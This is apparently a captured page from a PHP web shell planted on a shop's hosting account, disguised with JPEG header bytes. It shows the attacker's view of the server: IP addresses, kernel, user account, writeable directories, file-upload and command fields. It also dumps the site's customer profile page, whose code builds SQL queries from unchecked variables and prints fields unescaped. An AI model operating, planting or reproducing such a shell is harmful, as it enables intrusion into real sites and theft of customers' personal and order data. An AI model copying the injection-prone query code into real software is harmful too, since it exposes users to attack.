���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 88.222.243.45  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/saumasale.in/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/saumasale.in/public_html/profile.php
<?php
include('function.php');
include_once('includes/db.php');
$url = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
head(
        'S & A Foods and Spices ',

        'S & A Foods and Spices ',

        'S & A Foods and Spices ',
        $url
    );
$ob = new database();
?>
<div class="page-path">
    <div class="container">
        <div class="breadcrumbs-inner">
            <h1 class="path-title">Account</h1>
            <ul>
                <li><a class="home-page-link" href="index.php">Home <i class="fal fa-angle-right"></i></a></li>
                <li><a class="current-page" href="#">Account</a></li>
            </ul>
        </div>
    </div>
</div>
<!--================= Header Section End Here =================-->

<div class="rts-account-section section-gap">
    <div class="container">
        <div class="account-inner" style="width: 100%;display: flex;">
            <div class="account-side-navigation">
                <button class="filter-btn active" data-show=".dashboard"><i class="fal fa-chart-bar"></i>
                    Account Details</button>
                <button class="filter-btn" data-show=".orders"><i class="fal fa-shopping-cart"></i> Orders</button>
                <a href="logout.php" class="filter-btn" data-show=".dashboard"><i class="fas fa-sign-out-alt"></i>
                    Logout</a>
            </div>
            <div class="account-main-area" style="width: 100%;">
                <div class="account-main dashboard filterd-items">
                    <?php
                        $id  = $_SESSION['logged_in_id'];
                        $ob->query("SELECT * FROM user_detail WHERE id='$id'");
                        if ($ob->affected_rows() >= 1) {
                            $i = 0;
                            foreach ($ob->rows() as $data) {
                                $i++;
                    ?>
                    <div class="account-profile-area">
                        <div class="profile-dp"><img src="images/male.jpg" alt="profile-dp"></div>
                        <div class="d-block">
                            <span class="profile-name">Hi, <?php echo $data['name']; ?>.</span>
                        </div>
                    </div>
                    <div class="card">
                        <div class="card-body">
                            <div class="d-flex align-items-center justify-content-between mb_24">
                                <div class="fs-22 fw-6">Name : </div>
                                <span class="fs-22 fw-6" style="margin: 0 auto;"><?php echo $data['name']; ?></span>
                            </div>
                            <div class="d-flex align-items-center justify-content-between mb_15">
                                <div class="fs-18">E-mail :</div>
                                <p style="margin: 0 auto;"><?php echo $data['email']; ?></p>
                            </div>
                            <div class="d-flex align-items-center justify-content-between mb_15">
                                <div class="fs-18">Mobile : </div>
                                <p style="margin: 0 auto;"><?php echo $data['mobile']; ?></p>
                            </div>
                            <div class="d-flex align-items-center justify-content-between mb_15">
                                <div class="fs-18">Address : </div>
                                <p style="margin: 0 auto;"><?php echo $data['address']; ?></p>
                            </div>
                            <div class="d-flex align-items-center justify-content-between mb_15">
                                <div class="fs-18">Pincode : </div>
                                <p style="margin: 0 auto;"><?php echo $data['pincode']; ?></p>
                            </div>

                        </div>
                    </div>
                    <?php
                        }
                    }
                    ?>

                </div>
                <div class="account-main orders filterd-items hide">
                    <h2 class="mb--30">My Orders</h2>
                    <table class="table">
                        <thead class="thead-light">
                            <tr>
                                <th>No</th>
                                <th>Product Name</th>
                                <th>Size</th>
                                <th>Qty</th>
                                <th>Date</th>
                                <th>Amount</th>
                                <th>Status</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php
                            $id  = $_SESSION['logged_in_id'];
                            $ob->query("SELECT * FROM orders WHERE user_id='$id'");
                            if ($ob->affected_rows() >= 1) {
                                $i = 0;
                                foreach ($ob->rows() as $data) {
                                    $i++;
                            ?>
                                <tr>
                                    <td><?php echo $i ?></td>
                                    <td><?php $pro_id = $data['product_id']; ?>
                                        <?php
                                        $ob->query("SELECT * FROM product WHERE id='$pro_id'");
                                        if ($ob->affected_rows() >= 1) {
                                            foreach ($ob->rows() as $product) {
                                                $product_id = $product['id'];
                                        ?>
                                                <?php echo $product['title']; ?>
                                        <?php
                                            }
                                        }
                                        ?>
                                    </td>
                                    <td><?php echo $size_id = $data['size']; ?>
                                        <?php
                                        $ob->query("SELECT * FROM size WHERE id='$size_id'");
                                        if ($ob->affected_rows() >= 1) {
                                            foreach ($ob->rows() as $product) {
                                        ?>
                                                <?php echo $product['size']; ?>
                                        <?php
                                            }
                                        }
                                        ?>
                                    </td>
                                    <td><?php echo $data['quantity']; ?></td>
                                    <td><?php echo $data['order_date']; ?></td>
                                    <td><?php echo $data['amount']; ?></td>
                                    <td><?php
                                        $status = $data["status"];
                                        if ($status == 0) {
                                            $msg = "Order Received";
                                        } else if ($status == 1) {
                                            $msg = "Processing";
                                        } else if ($status == 2) {
                                            $msg = "In Shipping";
                                        } else if ($status == 3) {
                                            $msg = "Delivered";
                                        } else {
                                            $msg = "Returning";
                                        }
                                        echo $msg;
                                        ?></td>
                                </tr>
                            <?php
                                }
                            }
                            ?>
                        </tbody>
                    </table>
                </div>


            </div>
        </div>
    </div>
</div>

<?php foter(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit